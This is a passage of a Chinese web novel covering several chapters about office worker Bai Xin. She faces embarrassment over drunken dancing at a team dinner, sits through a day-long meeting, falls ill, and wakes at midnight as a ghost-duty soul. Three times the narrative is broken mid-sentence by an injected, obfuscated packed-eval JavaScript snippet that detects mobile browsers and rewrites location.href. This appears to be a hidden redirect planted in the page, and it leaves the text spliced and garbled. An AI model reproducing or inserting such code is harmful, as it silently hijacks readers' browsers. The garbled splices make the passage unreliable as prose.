红灯转绿,两人一路畅行。 邹家财说完后抿紧了嘴巴,默默在白心旁边骑着,时不时用余光瞟一下她。 白心的心情红灯转黑,本来就多云转阴的天一下子塌了,邹家财的话像几道雷猝不及防劈在她头上,劈得她外焦里嫩。 跳……舞?白心人在电驴上,灵魂已死在当场。跳舞是什么意思?她想,是字面意义上的跳舞吗? 邹家财看她面无表情,又说道:“还好,只有我们组和隔壁组的人看到了,放心。” 白心:…… “你真的一点都不记得了吗?”邹家财一边看她一边骑车,“还是组长把你从桌子上拉下来的。” 你别说了!白心崩溃得恨不能双手抱头大声尖叫,祛邪一样祛走邹家财。这是正常人干得出来的事儿吗?!她心里一万头羊驼奔腾而过,把她践踏得体无完肤。 她凌乱得要疯了,外表看起来却像已经走了有一会儿了一样平静,一句话都没说。邹家财在心里暗暗称赞,白心真是有一颗强心脏啊! 白心雷得摆不出任何表情,心想现在打电话给黑白无常说她要进地狱还来得及吗? 一路无话,两人很快骑到了第三个红灯。刚刚还着急赶时间的白心忽然觉得这条路怎么这么短,她现在好像也不是特别想去公司了。 “不……”白心看着红灯,对旁边的邹家财发号施令,“等会儿不许提这件事。” 就当什么都不知道。白心想,你不说,我不问,你一说,我惊讶,职场十二字诀是时候发挥作用了。 纵然她脸皮厚得像城墙、粘性堪比粘掉假牙的牛皮糖、在同事眼里是打不死的小强,但这件事还是有点超出她的承受阈值了。 她可以接受自己的真实死亡,但绝不能容忍自己社会性死亡。要知道她在公司的人设可是恬静淡雅温柔无害与世无争但又坚韧不拔的小白花形象,既符合她社恐不喜交流的真实性格,又能让人观感良好,挑不出什么大刺,完美避开职场上的各种脑残人事。 所以老板有时候把他们一顿辱骂,同事们都愁眉苦脸哀工作之多艰的时候,她反而像没事人一样该吃吃该喝喝。 这就是她,一朵生长在牛粪上的鲜花。在屎一样的环境里也能拼命汲取养分,努力向上生长。 但是现在忽然有个屎壳郎告诉她她当众吃了屎,白心想,老天爷爱看喜剧也不能这么玩儿她吧? “好,”邹家财答应得爽快,红灯又转绿,他率先骑走,“但你还是感谢一下组长比较好,是她送你回家的。” 组长?白心也跟上,组长还会送人回家? 公司所处地段较偏,此刻车流人流已经少了许多,白心跟着邹家财,心想组长这忙得堪比陀螺成了精、不苟言笑也没空笑、发起火来比两个陈灵还可怕的严厉暴躁女人还会送她回家? 按照组长的作风,顶多帮她叫个车,绝对不会亲自送她回家。白心心想这是什么情况,难道要给她升职了? 她一边想着,很快就骑到了公司楼下,把车停好后抬起手一看,八点二十六分。 哦吼,来不及了! 白心转身就跑,穿过小广场狂奔进公司所在的大楼,跑到电梯口,正好蹭上马上要关门的一部电梯。 “谢……谢谢……”她喘着气,努力挤进人群,成为压缩人干的一员。 这栋大楼一共有四部电梯,而她的公司在十九层。除了她所在公司,这栋楼里还有很多其他业务,比如保险、酒店、游泳健身等,所以直达是不可能直达的,必然要停个三四五六次。 不要问为什么公司没有自己的大楼,因为穷。 电梯缓缓向上,白心抱着帆布包,向后缩着身体,生怕碰到电梯门。 虽然碰到也没什么关系,但她就是莫名害怕这种门。忘了之前在哪看过的一个恐怖故事,一个人坐电梯,打开之后是一堵墙,还有一个人在医院坐电梯,结果打开门之后是太平间。 当时年纪尚幼的她吓得浑身冷汗,从此对这种空间内密闭空间外未知的设备有了淡淡的阴影,仿佛这不是一扇普通的门,而是通往未知世界的任意门。 “叮——”地一声,电梯缓缓停下,白心抬头一看,十三层。 门一开,身后的人鱼贯而出,白心感觉到背后一空,往后一看大半个电梯的人都出去了。 她松了口气,往后挪了几下,站在了较为空旷的电梯里。 她朝外看去,十三层是个保险公司,很多人从电梯出去后狂奔着跑向打卡机,她抬起手一看,八点二十八分。 只要别停,就不会迟到。白心想,抽卡还有保底呢,人不能也不应该倒霉到这个程度,可千万别停! 正想着,即将关闭的电梯门忽然被一只手扒开,白心一愣,看见一张熟悉的脸。 她愣在原地,嘴巴条件反射地开始打招呼:“组……组长好。” 张蔷用手扒开电梯门,轻喘着气,站在了白心旁边。 门再次慢慢关闭,这次没有人再进来了,砰地一声,电梯门在最后一下用力一合,带着剩下的牛马前往新的草料场。 白心站在原地,不敢抬头看旁边的女人。 虽然也有上周五社死的原因,但主要还是在于她确实不知道怎么和她交流。 张蔷名如其人,强势、霸道、攻击性和侵略性十足,白心被她劈头盖脸骂的次数两只手加上两只脚都数不过来,虽然对事不对人,她也从没放心里,但在白心眼里,组长张蔷是个眼里只有工作的超级工作狂,完全不知道如何和她拉家常。 当然她也不喜欢拉家常,白心想,估摸着组长也不会喜欢,正好不用说话了。 “酒醒了吗?”张蔷却忽然说道。 嗯?白心一瞬间错乱,是组长在说话吗? 张蔷向右转过头,微微低着头看着白心,笑着问道:“上周五喝的不少啊,白心。” 白心抬起头,看着这个比她高了一个半头的女强人,她连笑容都极具攻击性,令她不敢不回答。 “啊……”白心磕磕巴巴回答,“还,还好吧。” 张蔷还是看着她,又轻笑了一声:“舞跳得不错。” 白心:…… 刚还你不说我不问呢,装傻还没开始,组长就直接把屎糊她脸上了。什么职场十二字诀,在职场女强人面前通通没用。 白心低着头,脸憋得通红,说不出一个字。 “叮——” 还好电梯及时解救,张蔷大步走了出去,头也不回,完全没看到红得跟猴子屁股一样的白心的脸和她尴尬的表情。 唉。白心努力恢复平静,深吸了一口气,也慢慢走出了电梯。 算了,组长除外。她想,在其他人面前一定要装得什么都不知道。 白心走向打卡机,将自己的脸对上扫脸器,屏幕显示时间正好是八点二十九分五十九秒。 还好。她松了口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837069|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她踩点大王的桂冠暂时保住了。 白心目不斜视,径直走向自己的工位。她放慢脚步,把肩膀沉下来,提着的心也放下来,努力恢复平时淡雅无争的模样。 她的工位在最里面,一路要路过很多其他部门。 还好上周五的团建只有她们小组和隔壁小组,没有其他组和别的部门的人。白心的心情渐渐平静,还好还好,不是全公司性质的社死。 她走到自己的工位坐了下来,刚一坐下,肩膀就被人拍了一下。 果然来了。白心双眼一闭,心说来了,她的舞台剧观众来了。 “白心!”甜甜的女声在身后响起。 白心转过椅子,睁开眼,看见钱一茜也转过椅子笑着看着她。 钱一茜,她隔壁小组的成员之一,和她同为外包程序员。声音甜长相美宛如一颗奶油苹果,爱好八卦和美食,全公司上下没有她不知道的八卦。 白心一直觉得钱一茜做程序员有点屈才了,她去娱乐公司当狗仔应该早就财富自由了。小道消息也好公司通报也罢,她的消息总是先人一步。 那天团建她没去。白心看着钱一茜的笑容,但看她这副模样,应该也是知道了她的英勇事迹。 白心一直坚持着工作和生活分开的铁原则,所以她有两个手机,一个工作手机一个生活手机,下了班就把工作手机丢办公室,天打雷劈也不会带回去。 至于生活手机,没有添加同事的义务。 但是钱一茜不同,她只有一个手机,并且上面加满了同事。白心一直很佩服这种人,这种人忍耐力极强,下了班还能给同事好脸色和他们聊天,而她不仅懒得说一句话,还恨不能拿机枪把同事都扫了。 所以,现在的情况是,在白心毫不知情的情况下,两个小组已经把她的事传遍了。 还不知道传没传到其他部门耳朵里。白心看着钱一茜,心里隐约有种不妙的感觉。 邹家财坐在白心旁边,听见钱一茜的声音后也转过身,有点脸红地看着她:“一茜,你的伤……好啦?” “早好了,”钱一茜听见邹家财的话,抬起手给他看,“已经结痂了。” 白心这才看见,钱一茜的右胳膊肘有很大一块结痂,明示着这里曾经受过伤。 “什么事?”白心终于开口,虽然她也知道钱一茜要说什么。 “上周五……”钱一茜微笑地看着她,“你喝醉了。” 两人坐在自己的转椅上,互相看着,白心忽然觉得有点疲惫,回答道:“我知道,邹家财都告诉我了。” 虽然这件事确实很惊世骇俗,白心想,但至于人人都要说一嘴吗。好像平淡的生活中终于有个人脱下了面具愿意当众献丑,他们就要把这桩丑事变成永恒流传的笑料话题。 看别人出丑,就这么值得说道?她不理解,谁又不是生活的小丑呢,只是你们面具戴得稳而已。 钱一茜微微睁大了眼,说道:“那你还记得你喝醉之后,都发生了什么吗?” 一个两个都这么问。白心无语,淡淡回答道:“知道,在酒桌上跳舞嘛。” “不是,”钱一茜却轻皱眉头,说道,“我说的是你回家之后的事。” 白心看着钱一茜饱满的鹅蛋脸,忽然心跳漏了一拍——她为什么这么问? 她也皱着眉,回答道:“不记得了,怎么了?” 钱一茜继续问道:“那你的家里,有没有一块手表?” 32.新手表 什么意思? 钱一茜的话像一颗深水炸弹,猝不及防抛入白心平静的湖面,在她心底炸起一朵巨大的水花。 白心的眉毛拧紧,这下真是你一说我惊讶了——钱一茜怎么会知道她家有一只手表? “什么手表?”她面不改色地问道。 让一个人完整说出事件经过的最好方法就是向对方展示出你所知的信息为零。这是白心在粪坑一样的职场里吃了无数屎总结出来的经验,你可以不知道也可以全知道,但千万不能只知道一半,不然就会被人当枪使或者掉进更深的粪坑。 “就是一只普通的大众款手表,”钱一茜看着她,细细描绘道,“就是市面上最常见的那种,银色的。” 白心沉默,等待着她继续说。 钱一茜看白心一言不发,什么都不知道的样子,有点着急起来:“哎呀,就是这样的。” 她掏出手机,当着白心和邹家财两人的面点开相册,开始翻翻找找,找了半天,终于找到一张照片,把手机竖起来给她看。 白心看向她的手机屏幕,确实就是今早她发现的那只陌生银色手表。 “为什么要问我?”白心抬起眼,看着钱一茜漂亮的杏眼,说道,“跟我有什么关系?” 而且钱一茜手机里怎么会有手表的照片?装傻套话是一回事,她想知道真相也是真的。 “这手表是赵志雄的。”钱一茜也看着她,表情明显急促,微微泛红。 ——赵志雄?白心脑子里仿佛有个铃铛敲了一声,那天晚上非要和她喝酒的赵志雄? 白心朝钱一茜旁边不远处望去,赵志雄的工位没有人。 “所以呢?”她又把头转回来,“他的手表,干嘛要问我?” 钱一茜咬了一下嘴唇,明显没想到白心喝完酒失忆到这种程度,继续说道:“那天晚上,是他送你回家的呀。” 白心:? 她猛地看向旁边的邹家财——不是组长送她回家的吗?怎么又是赵志雄? 邹家财也睁着他的豆豆眼看着白心,然后耸了一下肩膀,表示他也不知道具体怎么回事。 “你……” 钱一茜正要继续说,邹家财却迅速把工位转了回去,还顺手把钱一茜和白心也转了回去,三人像玩旋转茶杯似的一秒转回自己的位置,安安稳稳地坐好了。 白心瞬间正襟危坐,收回自己乱七八糟的想法,赶紧启动工位的电脑,装作很忙的样子开始收拾她一贫如洗的桌面。 组长来了。 邹家财别的不行,对周围环境的敏锐度堪比猎犬,白心也因此躲过了很多死到临头的灾难。 上学的时候就有这种人,下课时和大家玩得好好的突然不说话了,或者突然转身回到自己的座位上,大家就知道,老师要来了。这种人在他们眼里比算命的还牛,算命的尚且需要起个卦或者掐指一算,而他们只靠直觉。 果然,十秒后,张蔷风风火火地来了。 白心的工位虽然在整个公司的最里面,但却在她们小组的最外面,张蔷站在她的旁边,和她只有一拳的距离,白心甚至还能闻到她身上的香水味。 像她高中时候的班主任。那时候因为个子矮,她总是坐前面,又因为和老师关系一般,所以墙边最后一组就是她的归属地。 她记得,靠墙的座位视野很差,只能斜着看黑板,但窗外的视野很好,学校外的景色一览无遗。所以她不想听课的时候总会转过头看着窗外发呆,班主任边讲课边走下讲台,走到她的旁边,把大腿靠在她的桌子上。 她的头上是班主任洪亮的声音,眼里却是窗外寂寞的街景。她躲在班主任的视角盲区,沉浸在只有她一个人的天地里。 张蔷大手一挥,声如洪钟:“开会!” 言简意赅,符合她一贯的作风。 邹家财抱着文件夹,拿着纸笔迅速起身,旁边的同事也纷纷站起来,只有白心轻轻叹了口气,从回忆里挣脱,随便找了个文件夹掏出张废纸,又从笔筒里拿了支不知道写不写得上的圆珠笔,慢慢站了起来。 辞职的事等会儿再说吧。 两个小组的人一起往前挪动,前往同一个会议室开会。白心跟在邹家财后面,游魂似的慢慢走着,仿佛被工作掏空了全身的力气。 是不是全世界的公司周一都要开会?她叹了口气,莫名其妙想起了昨晚着急忙慌的朱萸。 ……连地府星期一也要开会。 她随便找了个位置坐下,看着讲台前动作麻利又干练的张蔷,心想这种人才是世界上的BUG吧? 陈灵也是,白心想,怎么会有人精力高到这种程度?她们一早上干的事情足以让她瘫在家里缓上一个星期,人与人之间的差距不仅比人和狗大,她想,甚至比人和鬼还大。 张蔷还在前面调试设备,大家坐在下面无所事事,开始窸窸窣窣说起话来,白心也掏出自己的手机,准备打开小某书随便看看。 大家讨论的声音越来越大,然后突然停了。 怎么了?白心刚掏出手机玩了不到两分钟,就感觉到四面八方投来一道道炽热的目光。 她抬起头,大家却又把目光收了回去,继续互相说着话,时不时用余光瞟一下她。 白心:…… 无聊。白心撇了下嘴,心想上周她的笑话还没看够吗,两天过去了还要说,你们的人生真是无聊透了。 手机轻微一震,白心低头一看,陈灵给她发信息了。 她的心里不知怎的忽然一暖,这个女人平时不是忙得跟她一句话都说不上吗,怎么星期一的早上还跟她发消息。 她点开对话框,看见陈灵发过来的是一张图片。 图片里正是昨天早上她在家选的那只手表。 其实当时她根本没看清,但是为了迅速回复陈灵的问题,她只好在陈灵模糊的镜头画面里凭直觉选了一个还不错的。 现在她看清了,这是一只玫瑰金的儿童手表,像某士尼经典款。 手表被陈灵装在配套的白色礼盒里,款式略显幼稚但是确实好看。白心看到礼盒背后是一张浅白色的桌子,明白陈灵应该是出差还没回来。 因为陈灵的办公桌是暗红色的。 两人平时工作时间很少交流,但不代表她们互相不了解。仅仅认识三年,已经到了白心一撅屁股陈灵就知道她要放什么屁,陈灵一张口白心就知道她要用什么语气和措辞骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841590|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的程度了。 陈灵:好看吧?明天给你拿过来。 白心微微一笑,回复道:嗯,明晚来我家吃饭。 陈灵:嗯。 对话结束,这就是她们平时在手机上的交流。她往上翻了翻,她俩的对话一直都是这么简洁但信息明确。 陈灵在生活中是个愿意与时俱进追随新潮的中年人,但在电子设备信息智能这一块还是略有欠缺,还保留着她年轻时用诺基亚发短信的那种习惯。 白心则恰恰相反。白心对生活中的一切新事物都没有太大的热情,唯独对手机里的各种信息软件感兴趣,陈灵用自己的双脚看世界,而一部手机就是白心全部的视野。 “好了,”张蔷终于调试完设备,大声说道,“都安静一点!” 喧哗的人群立刻噤声。 白心也关闭手机,把手机翻面扣在桌面上,抬起头准备开始左耳进右耳出。 这次是老项目总结会议和新项目启动会议。白心看着PPT上硕大的几个字,知道这会前半截也没必要听了。 总结有什么好听的?她一直这样认为,一个项目做完了就做完了,还有什么可总结的?人类从历史中学到的唯一教训就是人类无法从历史中学到任何教训! 她两眼一闭,准备开始睡觉。 然而后背突然被人用手指一戳,白心睁开眼睛,感觉到后面有人叫她。 回头一看,一只细长的手伸了过来,手心放着一块圆圆的巧克力。 抬起头,钱一茜正甜甜地看着她笑。 “给你。”她轻声说道。 白心看着巧克力,明白美食大王又来布施了。她回过头,后背靠在椅子上,不动声色地把手从座位底下往后伸,翻转手掌,好让钱一茜把巧克力放她手上。 “谢谢。”她也轻声回复。 上学的时候也有这种人,热衷于把吃的散布给同学们,在一帮屁孩眼里简直是零食的神,哪怕是五毛一包的辣条吃起来也堪比人间珍馐。 小时候的白心没有过这种被人拥簇成神的体验,因为她是站在旁边眼巴巴等着神发放零食的馋鬼一员。 白心把手收回来,金纸包装的巧克力安静躺在她的手心。 钟榆。 记忆里融化的巧克力和她的手掌重叠,她的眼前又浮现出钟榆模糊的脸。 钟榆胆小、爱哭、不懂反击,但是会勇敢地跑过来送给她一块巧克力。 那时候她还没有进化成爱吃零食的馋鬼,钟榆也不是乐善好施的零食之神,那块巧克力也没有这么昂贵,而是市面上最常见的代可可脂,甚至都不能称之为巧克力。 那是她们短暂的友谊存在过的强有力的证明。 白心看着手掌发呆,眼见巧克力又要融化,迅速把包装纸剥开,一秒把巧克力送进嘴里。 嗯,很苦。她想,不如代可可脂。 山猪吃不来细糠,白心想,那又怎样,她就乐意当山猪,最好能一头创死所有脑残同事。 巧克力在嘴里融化,白心感觉到后背又被人一戳,回头一看,钱一茜从座位下方伸出了她的手机,手机上是一个巨大的二维码。 “加我好友吧?”她说。 33.白心的一天 一场会从早开到晚,上午总结会下午启动会,中午留了二十分钟时间给每个人吃午饭,还是大塑料盒装的让人毫无食欲的盒饭。 白心刚加上钱一茜好友,两人手机就被纪律委员赵璐抽走,就这样她和相伴多年的爱机分离,美食大王也失去了她的八卦神器。 赵璐其实是行政部人员,但在这降本增效的大环境下基本都是一人身兼多职,除了白心这种用完就丢随时都可能打包滚蛋的外包人员外,她们公司的正式员工基本都和赵璐一样,身上有干不完的活儿。 自己的事还没干完,还要来管一群开会连自己的嘴都管不住的小学生都不如的大人,赵璐明显心态略崩,看见白心和钱一茜交头接耳,气得她毫不留情抢走两人的手机,伸出手指对着她俩点兵点将:“你,还有你,罚款一百!” 其实根本不会罚。白心知道,她也只是发发脾气而已。 她们公司有两个人是最不能惹的,一个是工作中的张蔷,另外一个就是星期一的赵璐。惹了这两个人,或许你不会失去实际的金钱,但你一定会获得不好受的一整天。 至于白心,惹了就惹了。把她惹毛她也只会毛茸茸地滚开、一怒之下怒了一下、踢到她也算是踢到棉花了这样子。 不是脾气软,而是没必要。白心一直认为,只要不扣钱,没有人能使她平滑的甲状腺和乳腺变异,打工是来赚钱的,不是来和人生气的。 她只能允许自己的钱变成身上的脂肪和大便排出去,决不允许到手还没捂热的钱变成医院缴费处一串冰冷的数字。 不生气,不生气。 赵璐收完手机后细长的马尾一甩,离开了白心所在的会议室,前往另外几个会议室抓人去了。 白心和钱一茜对视一眼,都无奈一笑,明白这天是聊不成了。 钱一茜向后一仰,背靠椅子,准备开始听讲,白心也转过头,坐姿端正,抬起头来认真听张蔷的汇报。 工作手机也没带,这下是不得不听了。 也不知道过了多久,当白心觉得自己的大脑已经糊得可以去刷墙的时候,张蔷终于停了下来,说大家休息一下。 她抬起手腕一看,正好十二点。 放下手,桌子上多了一盒饭和一部手机,一抬头,赵璐已经没了早上那股生气时的精神,正一脸疲态地抱着盒饭给每个人分发。 唉,都不容易。白心打开盒饭盖子,掰开一次性筷子,同时打开手机,准备找个动漫边下饭边吃。 刚一开机,几条消息就弹了出来。 白心点开某信,看见白子涵发来几条信息。 嗯?她有些奇怪,这大中午的,白子涵不应该在家吃饭或者睡午觉吗,怎么给她发起信息来了。 而且,白子涵也从来不和她聊天,俩人认识十多年了加起来说的话还没她认识钟槐两天说的话多。 第一条信息,早上九点二十分,白子涵:姐,你在吗? 第二条信息,早上十点三十分,白子涵:姐,你在不在啊? 第三条信息,中午十一点三十五分,白子涵:姐,看到信息了回复我一下。 白心看着白子涵这一连串的消息,心里莫名其妙,他这是吃错什么药了?还是想逃课去网吧没钱了来找她要? 白子涵比她小八岁,今年十七,还有一年就要高考。此时正值暑假,舅舅舅妈生怕他在家沉迷网络游戏,强行给白子涵报了一连串补习班,当然报名是一回事,去不去就是另一回事了,白心知道白子涵的心思从来就没放在学习上过。 -干嘛?她编辑了两个字,发了过去。 很快,对话框顶端变成了“对方正在输入”,白心看着白子涵中二的黑色机车头像,心说我倒要看你能放出什么屁。 然而,对方正在输入显示了快十分钟,白子涵还是一个字都没蹦出来。 -什么事?她又编辑了一条,边打字边往嘴里喂了一口菜,难吃得她差点吐出来。 低头一看,本来为数不多的辣椒炒肉的猪肉上面还有几根猪毛。 “……” 算了,白心把肉挑走,将就吃吧,比没得吃要强。 白子涵在手机那头编辑了半天,发过来两个字:没事。 白心:…… 神经病。她在心里骂了两句,关闭了对话框,打开动漫软件接着上次没看完的开始看。 然而刚看了几秒,她就觉得饱了。白心又低头一看,饭才吃了一半,实在是吃不下去了。 不是要故意浪费,而是她的胃很早就坏了。虽然不是很严重,但常年的不规律作息和吃饭让她早早就患上了慢性胃炎,动不动胃胀气,经常一吃就饱。 她的家里有很多药,一大半都是治胃痛的,其中一半是她根据自己的经验买的,另外一半是陈灵问了她的医生好友后帮她买的。 她妈没走的时候,她尚且能规律吃饭、吃得饱饭。她妈走后,搬进舅舅家,天天和白子涵抢饭吃,虽然不至于吃不饱,但吃不好是常态。 哪怕是复习到半夜,她也不能站起来为自己煮一碗荷包蛋挂面,因为那不是她的家,而且会吵到舅舅舅妈和白子涵睡觉。 她在长势最凶最旺、对食物最如饥似渴的年纪,经常饥肠辘辘地入睡。 白心叹了口气,把盒子重新盖好,同时关掉手机,开始闭目养神。 她妈的脸忽然在脑海里浮现。 很奇怪,为什么吃饭的时候会想起她?白心闭着眼,觉得眼眶开始不受控制地发热。 明明她现在想吃就吃,偶尔还能吃顿好的,为什么会想起她妈半夜给她煮的那一碗难吃得不行的荷包蛋挂面? “吃饱了吗?”熟悉的女声在头顶响起。 她睁开眼,抬起头看到张蔷正微笑地看着她。 “啊,”白心立即深吸一口气,把眼泪吸回去,干笑着回答,“吃饱了,组长。” 张蔷点点头,把她的剩饭收走,转身丢进垃圾桶,又转过身拿着手机,给出一个带着她头像的二维码。 “加我好友吧,”张蔷说,“我一会儿有事和你说。” 白心没有犹豫,立即打开手机扫一扫,添加上了张蔷。虽然不知道组长要干啥,但是执行命令就完事儿了。 张蔷虽然强势,但是指令从来没有出过错,在她们公司堪称指挥之神,对形势和危险的判断精准得如同计算机。 扫完,张蔷收起手机,对白心微微一笑,转身回到了讲台。 下午的会议开始了。 白心看着手机里张蔷的头像,和她在地府通讯录上的头像一样,实名制。白心很佩服,这种人是另一种意义上的心理素质极强,用自己的照片做头像的人,除了分不清好赖心里对自己没数的自大狂,就是张蔷这种专业和心理素质都过硬、不惧别人眼光的人。 自信、强大,白心看着讲台上的女人,心说下辈子吧,下辈子再投胎成这样的人。 吃完午饭,大家纷纷回到自己的座位准备开始第二轮长征,白心也识相地把自己的手机主动交给了赵璐,也免得她再生气一次。 钱一茜也交上了自己的手机,主要是她不交赵璐也会来找她要,作为八卦之王,她的手机跟抗战时期的电报机没啥区别。 两个小组二十来个人重新坐好,静静聆听张蔷接下来汇报。 白心趴在桌子上,一边看PPT一边走神。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845970|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好难混。她想,开个会怎么会这么度日如年,上学的时候也没有手机玩,怎么没觉得这么难受呢。 白心一边听着,另外一半脑子又飞走了。这是她上学时练出来的绝技,就是一块大脑分两半,一半做正事,另一半走神,和站着睡觉的马一样,马一边站着一边睡,而她一边考试一边走神。 新项目也没多新,她听了听,又是新瓶装旧酒,毫无新意的点子。 也是,她又想,真正的大项目大开发哪轮得到她们来做呢,况且该研究的那些头部公司也都研究得差不多了。 然而张蔷就算是讲换汤不换药的旧点子也能讲得慷慨激昂,白心一边听着她激情澎湃的声音一边想,这种人就是天生的打工圣体。 很快,一下午就在众人的备受折磨中渐渐过去,白心听得脑仁都隐隐作痛了,看见窗边夕阳都开始西下,张蔷才终于结束今天的会议。 一个会开了一天。 虽然什么也没干,白心想,但这钱也不好赚。她直起身来,感觉她的腰已经僵硬了,屁股也失去知觉很久了。 人群又慢慢站起来,跟僵尸一样缓缓向外挪动。赵璐又跑进来给大家发手机,拿到手机的一瞬间白心朝讲台看了看,张蔷正被隔壁小组的几个人围着,脱不开身。 算了,她也站起来,回家再说。 反正已经加了好友,白心想,有什么事可以在手机上聊。而且组长加她还能有什么事,无非就是工作,总不可能和她聊家常吧。 白心拿着丝毫没动的纸笔起身,转身看见钱一茜跑向她们小组的一个女生,把胳膊挂在女生的脖子上,活力四射得根本不像开了一天的会。 白心轻轻一笑,自己这什么都没干的一天,却加上了公司的两个同事。 看来这职一时半会儿是辞不了了。 白心跟着人群往外挪动,不知不觉就挪到了自己的工位,看见大家该收拾的收拾,该走人的走人。 不管了,先下班! 一想到下班,白心瞬间恢复了一半活力,生怕被公司什么人缠上,背上自己的包转身就朝打卡机跑。 打完卡,她又狂奔向电梯,随机挤上一台,不管上还是下,总之先进去。 只要不在公司,在哪儿都好。白心看着关闭的电梯门,心里微微松了口气。 电梯下行,白心提了一天的心也渐渐放下,毕竟无论怎么放松,在公司始终还是要绷着一根弦。 电梯停下,她跟着人群走出公司大门,微风一吹,她顿时觉得自己活过来了。 她抬起头,看着天边绚烂的晚霞,心说人就不该打工。 白心找到自己的电动车,和早上一样的步骤启动,原路返回慢慢朝着自己的家骑回去。 这就是她的一天。白心骑着电驴,头上的天空是美丽的火烧云,然而她却不能抬头去看,只能目视前方。和世界上大部分人一样,不停地向前奔跑、加速、超越许多人,却无法为一片美丽的云停留、拥有片刻的永恒。 她骑出公司、骑过三个红绿灯、骑进小区,看见小区里还是热闹非凡的模样。 下班的下班,放学的放学,老人们和小孩们都在楼下玩耍,白心路过他们,停好车,背上自己的包走向自己的家。 路过二楼的时候她犹豫了一下,想到裤子还没洗,还是洗好后再还给左慈。 这次也没有遇见邻居,白心一路向上,直到开门进去邻居也没现身。 但是她也管不了这么多了。 白心把包一丢,踉跄了几步,倒在了自己的床上。她闭上双眼,感觉到浑身开始发热,但又觉得冷,冷热交替让她忍不住发抖—— 发烧了。 34.沉默的幼儿园(一) 睁眼已是午夜。 发烧的感觉并不好受,尽管睡着也睡得不安稳,白心闭着眼,感觉自己的身体漂浮在冰川和火山之间,轻飘飘却又十分沉重。 难受。 仿佛有一万只高温蚂蚁在身上爬,咬一口却是冷到骨子里的冰凉,寒热来往的感觉让白心浑身难受。不知道过了多久,这种狗皮膏药般甩也甩不掉的难受感觉突然间消散,白心感到身体忽然轻快,睁开眼,熟悉又轻盈的感觉降临。 十二点了。白心看着天花板,明白这是自己的灵魂到点上班了。 她坐起来,发现自己不知道什么时候睡到了床的正中间,明明回家的时候是一头栽倒在床尾的姿势。 并且还穿着睡衣,扎的马尾也变成了披发。 嗯?她回头一看,自己的额头上还有一条毛巾,再往旁边一看—— 陈灵来了。 白心有点懵,似乎是烧得太厉害,搞得她的灵魂也受到了些许影响,此刻呆呆愣愣地看着睡在她旁边的女人,有点反应不过来。 她啥时候来的?白心看着熟睡中的陈灵想,她不是明天才回来吗? 陈灵以侧躺的姿势睡在白心旁边,一只手还放在白心的额头旁,似乎是随时准备查看她的体温。白心朝另一旁看去,小黑也盘在她的身边熟睡着,一人一猫像两个守护神守在发烧的白心身边,令她一米五的小床变得略微拥挤。 浅白色的月光洒了进来,透过薄纱窗帘照在她们仨身上。白心看到自己眉头微蹙,呼吸有点急促,她转过身,鬼使神差似的把手放在自己的脸上。 不烫了。白心松了口气,还好不烧了,不然烧成傻子了。 下一秒,她又鬼使神差似的伸手,朝陈灵的脸摸去—— 摸不到。 嗯?白心看着自己没进陈灵脸颊的手,手上任何触觉都没有,只能摸到自己吗?那—— 她把手收回来,把脸凑近陈灵的头,轻轻朝她头发吹了口气—— 吹动了。 哎嘿!白心恶作剧得逞了一般邪恶一笑,看见陈灵的头发被她吹得向上飘了一下,虽然力度不是很大,但还是略有成效。 累得已经睡着的陈灵感觉到自己的头上突然一痒,举起右手在头上抠了抠,然后突然惊醒,想起了什么似的猛地一睁眼,右手迅速朝旁边伸去—— 不烫了。陈灵也松了口气,终于放下心来,把白心额头上的毛巾拿掉,给她把被子掖好,沉沉睡去了。 看来是提前回来了。白心跪坐在床上,看见陈灵旁边的床头柜上放着一个带勺子的玻璃杯,旁边还有两包拆了封的柴胡颗粒。 药也吃了。白心了然,怪不得烧退得这么快,原来是陈灵已经给她吃了药。 呼——她终于清醒,也终于放下心来。 只是明天应该免不了要被陈灵骂一顿了。她笑了一下,突然觉得自己也不算太倒霉。 纵然她熬夜成瘾、经常昼夜颠倒、不按时吃饭,趁着年轻作恶多端、弃这具肉身于不顾,老天爷也经常用各种小病小痛折磨她——也有陈灵给她兜底。 手腕猛地一震,提醒白心她要开始执行任务了。白心抬起手,看见时间已经到了零点二十分。 她毫不犹豫地下了床,径直朝她家大门走去。 时间就是金钱,金钱就是功德,赚功德要紧。 白心穿过自家大门,刚穿到楼道,头顶的灯就闪了一下,似乎是感应到了她的行踪。 原来鬼片里不是演的啊?白心想,除了人,还真是什么东西都能感觉到鬼的存在。 她朝楼下走去,边走还不忘回头看一眼她邻居的家——这次倒是很安静,没有跑出来偷窥她。 算了,她又把头转回来,监控到了再说。 白心一路向下,什么人都没遇到,路过二楼的时候她忽然想到左慈也是捉鬼的,现在估计也和她一样上班去了吧。 